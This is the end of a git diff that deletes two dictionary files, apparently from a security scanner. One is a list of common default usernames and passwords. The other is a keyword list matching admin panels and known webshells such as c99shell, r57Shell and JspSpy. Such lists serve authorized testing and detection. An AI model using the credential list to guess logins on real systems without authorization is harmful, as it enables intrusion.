-login -lol -love -main -maint1 -maint2 -manage -manager -manager123 -manager12345 -manager123456 -mariah -mary -member -members -miami -michael -mickey -mike -minnie -mobile -monica -mulder -myadmin -mydlp -mysql -nm2user -no user -nsroot -ntpupdate -null -onlime_r -open -oracle -pennstate -pepsi -phpmyadmin -pink -pittsburg -pittsburgh -private -program -programer -prtgadmin -qazwsx -qqq -qqqqqq -questra -qwert -qwerty -rainer -rapport -rcs -readonly -replication-receiver -restoreonly -richard -robslob -rolling -ronald -root -root1 -root123 -root2 -root3 -root@localhost -rootroot -roottoor -s1stem -sa -saadmin -sanfran -saroot -sasystem -setpriv -setup -south -southpark -spark -ssadmin -ssladmin -status -stock -super -superuser -supervisor -sys -sys_admin -sysadmin -system -system1 -system123 -system123456 -system2 -systemadmin -systemmanager -systemsystem -technician -test -test1 -test11 -test111 -test1111111 -test12 -test123 -test2 -test3 -tester1 -tester123 -tester12345 -tester2 -tester3 -testing -testing1 -testing123 -testing2 -testing3 -testtest -thomas -toor -trial -true -tweety -user -user01 -user012345 -user02 -user1 -user12 -user123 -user12345 -user123456 -user2 -user3 -username -username1 -username123 -username123456 -useruser -uwmadmin -vcr -vgnadmin -viewer -viewuser -voadmin -volition -web -web_api -webadmin -weblogic -weblogic123 -webmanager -whd -william -wlcsystem -wlpisystem -wow -www -yuengling -zjdx -zjdxadmin -zjdxuser -zjyd -zjydadmin -zjyduser -zxcvb -zzzzzz \ No newline at end of file diff --git a/dict/information/web_content_key.txt b/dict/information/web_content_key.txt deleted file mode 100644 index fcf3f68..0000000 --- a/dict/information/web_content_key.txt +++ /dev/null @@ -1,92 +0,0 @@ -admin -login -manage -root -登陆 -管理 -后台 -☆銥繎夶蟲___Ёnd -r00ts小组 -[FC※HK] -※Jspspy web -Hacked by -Georg says, 'All seems fine' -execute command: -jsp File browser -JspWebshell -PHPShell -phpRemoteView -JspSpy -Mini Php Shell -<title>r57Shell -Simple CGI backdoor by DK -JFolder -NIX REMOTE WEB-SHELL -Execute Shell Command -PGTools -<title>PhpShell \d\.\d -cmd\.jsp -# c99 -c99shell -- c99shell